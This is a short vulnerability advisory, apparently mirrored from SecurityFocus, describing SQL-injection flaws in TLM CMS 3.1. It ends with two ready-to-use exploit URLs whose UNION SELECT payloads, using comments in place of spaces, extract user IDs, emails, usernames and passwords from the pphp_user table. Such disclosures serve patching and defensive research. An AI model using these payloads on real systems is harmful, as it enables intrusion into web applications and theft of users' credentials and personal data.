10 lines
No EOL
782 B
Text
10 lines
No EOL
782 B
Text
source: https://www.securityfocus.com/bid/28837/info
|
|
|
|
TLM CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
|
|
|
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
|
|
|
TLM CMS 3.1 is vulnerable; other versions may also be affected.
|
|
|
|
http://www.example.com/timcms31/a-b-membres.php?action=Perso&nom=1'/**/union/**/select/**/0,1,2,3,4,5,6,US_uid,8,9,US_mail,11,12,13,14,15,US_pseudo,US_pwd,18,19,20,21,22,23/**/from/**/pphp_user/*
|
|
http://www.example.com/tmcms31/goodies.php?act=lire&idnews=-1/**/union/**/select/**/0,1,2,US_pwd,US_pseudo,5,6,7,US_mail,9,10/**/from/**/pphp_user/* |